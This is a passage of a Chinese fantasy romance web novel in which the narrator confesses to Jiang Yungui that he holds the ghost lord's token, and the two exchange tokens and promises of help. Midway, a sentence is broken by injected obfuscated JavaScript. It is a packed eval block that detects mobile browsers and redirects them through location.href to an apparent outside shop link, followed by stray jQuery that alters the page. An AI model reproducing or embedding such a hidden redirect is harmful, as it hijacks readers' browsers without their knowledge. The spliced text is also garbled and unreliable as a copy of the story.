一瞬的安静之后,为首的人面色一变,收刀归鞘一撩衣袍单膝跪下去,后面的人紧随其后。
“滚回去。”
巷子里面很快又重新变得空空荡荡。收回去令牌,我没敢回头看江云归的表情。
“好了。”我尽可能让自己声音听起来如常,“走吧。”
江云归没动。我想,我的确做了一件错事。沉默片刻,我还是问出来了那句话。
“你有什么……想问我的吗。”
江云归此时才转过来目光,遮在面具下面,看不分明神色。
“如果你想说。”
如果有得选,我不想说。
看见玉简上面的地方是红莲夜我就心里一跳。这实在不是什么好地方。
上一次、上上一次来这鬼地方的时候,分明都是独身一个人,但反而这次是最来回不安的。
毕竟前几次只需要当心自己别丢了命就好了。这次——我感觉江云归在看我。
“是。”
让旁边的人暂时晕过去,深吸一口气,我对上他的视线,提起来令牌给他看:“这就是鬼主令。”
江云归没说话,却也没什么别的反应,只是一点头。
看见他的反应,我心下一跳。或许他从一开始就看出来了——在摘星阁,还是在山谷里面的时候,还是更早?
我不知道。
“……之前骗了你。对不住。”我错开他的视线,“如果你想走,刚才我和你说过的,从这里向东一百步就是出口。我可以带你去,如果你不想,你就自己出去。”
江云归没说话,斗篷在夜风里面翻卷,眼睛折着月光。
他现在也的确是没理由再相信我说的话。
想了想,我换成对别人说话的时候、公事公办的语气了:“我没必要骗你这个。一般人拦不住你,我也知道你是什么人,现在拦你对我、对红莲夜,也都没什么好处……”
我几次听到了很轻的吸气声,似乎是想张嘴说什么,又不说。
“你想说什么?”
江云归摇摇头:“你接着说。”
“也只有一百步的距离,到底是不是出口,外面……外面有没有鬼,你自己灵力一探便知。我知道你不信我,但是这件事上,我还是骗不了你。”
对上他的眼神,我声音不自主又低下去了:“……我说完了。”
一阵安静过后,他忽然抬手解下来面具,眉尖很轻地蹙着:“你花了多久?”
“什么?”
“这地方不是你的手笔。”他语气很确定,“鬼主位置换人,不是易事。”
我花了一点时间来试图理解他到底是什么意思。
“你怎么知道……”
“我知道。”
江云归打断我的话,两厢沉默片刻,他声音压轻一点,似乎有些生疏,但还是又重复:“我知道。”
他往前站了一步。夜风吹过去,杂着若有似无的幽香。
“你花了多久?”
昏暗夜色里面的其他景象都模糊了,硌着手的依约是剑柄,还是别的什么,不知道了。江云归还在看着我,潭水沉沉,等着我的答案。
“……五年。”
我想往后退,又被他按住手腕。
“什么时候的事?”
“没有太久。”我听见自己的声音似乎还如常,“你来到下洲的不到一个月前。”
准备了五年才终于等到一个机会。当时的伤其实到现在还没完全好,当时见微他们拦着不想让我进凛北地,就是因为这个。
待月楼里面尸山血海的几天几夜,不想和他再说。
江云归很久没说话,也没动,睫毛垂下来遮着眼睛,我看不出来他的情绪和态度。
但是身体的反应骗不了人,他分明待在这里并不舒服。
“怎么不走?”
他摇摇头:“你呢?”
“舆图的事情不能让太多人知道,我要回去处理一些事情。”我告诉他,“会很麻烦,要花很久。”
其实也没那么夸张,我有意说得很麻烦,意思是我今晚肯定都没工夫跟踪他。
他一点头,拖起来黄衣服的修士,往前走两步,又回头看看我。我竟然从他的眼神里面看出来点疑惑,似乎是在问我怎么不动。我不理解。
“你还留在这里……”
“不行吗。”
他忽然抬头,眉头比刚才蹙得更紧。我第一次见到他这个样子。
“你到底还做不做正事?”
我实在不知道他是做如何想,只能看出来他似乎是铁了心要留在这鬼地方。
或许是想找个机会除掉我这个大魔头?我只能想到这一种解释。
“真不走?”
他没说话,只是一直盯着我看。摇摇头,我从他手里拿过来似乎早就被他忘掉的面具,犹豫一下,看他没反应,又重新给他系上。
“下次别忘了。”
*
夜还未过半,外面和来时一样,金红灯火亮如白昼,笙歌嘈杂高低错落。
只是这次走过的地方,乐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435365|200904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声人声都自近而远地安静下去,一层一层浪潮推开一样,人群朝两侧让开。
一路沉默着走到待月楼门前,我又指了指里面:“真跟我去啊?”
身后远远的是喧嚷声音。错杂光影里面,他又像刚才那样,手里提着人,也不看我,只是点头。
我迈过门槛,他也跟着迈过来,我转过长廊,他也跟着转过长廊。我推开门,他就在外面等着进去。
我叫他的名字,他就抬头。
“你拿着这个……算了。”
在他伸手之前,我先他一步蹲下来,扯下来他腰间原本那个令牌,换上了手里赤红色的。
其实一路上有不少动手的机会。我其实有点拿不准他是要干什么。
半蹲在地上抬头,对上他垂下来的视线片刻,我又告诉他:“我在这里的时间还不算长,这东西比我本人管用。有这个,红莲夜里面任何人都不会敢拦你。如果你哪时想走,不必问我。”
何不为喜欢奢靡,红莲夜里面处处如此,他自己的居所待月楼更是靡丽。红纱烛影摇曳之中,江云归没说话,忽然也蹲下来,从自己袖子里面翻了几下,翻出来一块玉,递过来。
“这是什么?”
被他塞到手里,我就着一旁的烛光,看清楚上面的云纹和字迹,愣了一下。
“这不是你的长老令吗?你给我这个干什么?”
他指指自己腰间的红色令牌,又指指我手里面的玉。
“……我又没有一物换一物的规矩。”我还给他,“再说了,这是能随便给人的东西吗?——赶快收好。”
他不肯接,目光里面很有些询问,意思是我能乱给东西,他为什么不能。
虽然这么说好像很荒谬,但是我发现他这个人有时候真的有点……小孩子脾气。
“这东西很重要,你就这么随便给我……”
“我不是随便给人。”他打断我,眼神很认真,“晏度州,我知道你是什么人。”
我动作停了一下。他又重复一遍:“我知道你是什么人。”
“但是我不知道你为什么觉得我要走。”他很少说这么长的一串话,似乎自己也很不习惯,“我也不喜欢这个地方。我想帮你,行吗?”
“……帮我?”
“是。”
愣了一下,我下意识地摇头:“不用,我自己就……”
“晏度州。”
他直直看着我,他声音微不可察地放轻了一点。
“你不用一直都自己做那么多的。你会累的。”